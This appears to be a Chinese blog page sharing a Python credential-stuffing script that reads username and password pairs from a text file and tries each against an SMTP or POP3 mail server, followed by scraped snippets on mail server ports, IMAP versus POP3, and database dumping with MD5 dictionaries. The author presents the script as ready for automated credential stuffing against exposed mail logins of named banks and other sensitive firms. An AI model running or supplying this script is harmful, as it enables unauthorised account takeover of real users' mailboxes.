支持smtp/imap smtp/pop3的撞库python撞库脚本

# coding=gb2312
#  确保python支持中文注释

# 输入邮件地址, 口令和POP3服务器地址:

import poplib
import smtplib
import sys

def checksmtppassword(smtp_server,username,password):
    try:
        server = smtplib.SMTP(smtp_server, 25) # SMTP协议默认端口是25 这里解析不了域名就会抛出异常登录失败
        #server.set_debuglevel(2)
        server.login(username, password)
    except:
        print ‘登录不成功‘
    else:
        print ‘登录成功‘

def checkpop3password(pop3_server,username,password):

    try:
        server = poplib.POP3(pop3_server)
        #server.set_debuglevel(2)
        server.user(username)
        server.pass_(password)
    except Exception,e:
        print ‘登录不成功‘
    else:
        print ‘登录成功‘
    server.quit()

def open_check_password_user(file_path,server_ip,user_num,pass_num,mode):
    mail_server=server_ip
    f=open(file_path)
    each_line=f.readline()
    while each_line:
        each_line=each_line.strip(‘\n‘)#去除换行符
        list = each_line.split()  #list这里是数组
        #print list[0]
        password=list[ int(pass_num) ]
        username=list[ int(user_num) ]
        print list[ int(user_num) ]
        print list[ int(pass_num) ]
        if mode==‘pop3‘ :
            checkpop3password(mail_server,username,password)
        if mode==‘smtp‘ :
            checksmtppassword(mail_server,username,password)

        each_line=f.readline()

if __name__ == ‘__main__‘:

        print ‘mail_check.py nefu.txt pop.nefu.edu.cn user_num pass_num mode‘
        print ‘mail_check.py nefu.txt pop.nefu.edu.cn  2 1 pop3/smtp‘
        open_check_password_user(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])

公司业务的需求,这段时间干的事情web居多。

以上脚本,配合一个txt便可以全自动的去对如 交通银行  民生银行等暴露外网邮箱登录接口等敏感行业的厂商进行撞库测试。

花了半天时间写的。效果还不错,贴出来共享一下,以后再改进

时间: 2024-08-12 03:25:41

支持smtp/imap smtp/pop3的撞库python撞库脚本的相关文章

如何设置IMAP、POP3/SMTP及其SSL加密方式?

如何设置IMAP.POP3/SMTP及其SSL加密方式? 如果您的电子邮件客户端支持SSL,可以在设置中选择使用SSL. 通用配置参数: (我们已经默认都支持这些协议,用户无需自己手动开启这些服务器与端口) POP3/SMTP协议 接收邮件服务器:pop.exmail.qq.com ,使用SSL,端口号995 发送邮件服务器:smtp.exmail.qq.com ,使用SSL,端口号465 海外用户可使用以下服务器 接收邮件服务器:hwpop.exmail.qq.com ,使用SSL,端口号99

Gmail,QMail,163邮箱的 IMAP/SMTP/POP3 地址

Gmail,QMail,163邮箱的 IMAP/SMTP/POP3 地址 Denis 留言: 2 浏览:11447 文章目录[隐藏] Gmail 的 IMAP/SMTP/POP3 地址 QMail 的 IMAP/SMTP/POP3 地址 163邮箱 的 IMAP/SMTP/POP3 地址 WPJAM TOC 我们在客户端设置邮箱或者使用 PHPMailer 发送邮件的时候,我们都会去查找这些邮箱的 IMAP/SMTP/POP3 地址,这里就列出 Gmail, QMail, 163邮箱这三个常用邮

邮件收发POP3/IMAP/SMTP常用端口

一.POP3收邮件:POP3: 110POP3 SSL: 995 二.IMAP收邮件:IMAP: 143IMAP SSL: 993 三.SMTP发邮件:SMTP: 25SMTP SSL: 465SMTP TLS: 587

POP/IMAP/SMTP服务器地址——企业邮箱商务版(含海外设置)

1.根据您企业邮箱的线路,选择合适的POP/SMTP/IMAP服务. 中国大陆 海外 POP3 pop-ent.21cn.com pop-enthk.21cn.com SMTP smtp-ent.21cn.com smtp-enthk.21cn.com IMAP imap-ent.21cn.com imap-enthk.21cn.com 2.根据加密情况,选择合适的端口号. 无加密 SSL/TSL POP3 110 995 SMTP 25 465 IMAP 143 993

Smtp协议与Pop3协议的简单实现

前言 本文主要介绍smtp与pop3协议的原理,后面会附上对其的简单封装与实现. smtp协议对应的RFC文档为:RFC821 smtp协议 SMTP(Simple Mail Transfer Protocol)即简单邮件传输协议,它是一组用于由源地址到目的地址传送邮件的规则,由它来控制信件的中转方式.SMTP协议属于TCP/IP协议族,它帮助每台计算机在发送或中转信件时找到下一个目的地.通过SMTP协议所指定的服务器,就可以把E-mail寄到收信人的服务器上了,整个过程只要几分钟.SMTP服务

SMTP协议及POP3协议-邮件发送和接收原理(转)

本文转自https://blog.csdn.net/qq_15646957/article/details/52544099 感谢作者 一. 邮件开发涉及到的一些基本概念 1.1.邮件服务器和电子邮箱 要在Internet上提供电子邮件功能,必须有专门的电子邮件服务器.例如现在Internet很多提供邮件服务的厂商:sina.sohu.163等等他们都有自己的邮件服务器. 这些邮件服务器类似于现实生活中的邮局,它主要负责接收用户投递过来的邮件,并把邮件投递到邮件接收者的电子邮箱中. 电子邮箱(E

IMAP和POP3有什么区别?

POP3协议允许电子邮件客户端下载服务器上的邮件,但是在客户端的操作(如移动邮件.标记已读等),不会反馈到服务器上,比如通过客户端收取了邮箱中的3封邮件并移动到其他文件夹,邮箱服务器上的这些邮件是没有同时被移动的 . 而IMAP提供webmail 与电子邮件客户端之间的双向通信,客户端的操作都会反馈到服务器上,对邮件进行的操作,服务器上的邮件也会做相应的动作. 同时,IMAP像POP3那样提供了方便的邮件下载服务,让用户能进行离线阅读.IMAP提供的摘要浏览功能可以让你在阅读完所有的邮件到达时间

IMAP和POP3有什么差别?

servCode=6010376">POP3协议同意电子邮件client下载server上的邮件,可是在client的操作(如移动邮件.标记已读等),不会反馈到server上.比方通过client收取了邮箱中的3封邮件并移动到其它目录,邮箱server上的这些邮件是没有同一时候被移动的 . 而servCode=6010376">IMAP提供webmail 与电子邮件client之间的双向通信.client的操作都会反馈到server上,对邮件进行的操作,server上的邮件

关于拖库和撞库的思考与对策

拖库是指黑客盗取了网站的数据库.撞库是指黑客用拖库获得的用户名和密码在其它网站批量尝试登陆,进而盗取更有价值的东西.由于一些用户在多个网站用相同的用户名和密码,所以撞库是有一定成功率的.现在稍微有点责任感的网站都不会将密码明文保存在数据库中,起码会做一次MD5.要想撞库,必须得知道密码的明文,也就是用户真正输入的密码.我们知道MD5算法是不可逆的,黑客是怎么弄到密码明文的呢?最常用的办法就是MD5字典. MD5字典是什么?其实就是提前将一些比较简单的密码(比如10位以内的纯数字)做MD5运算,将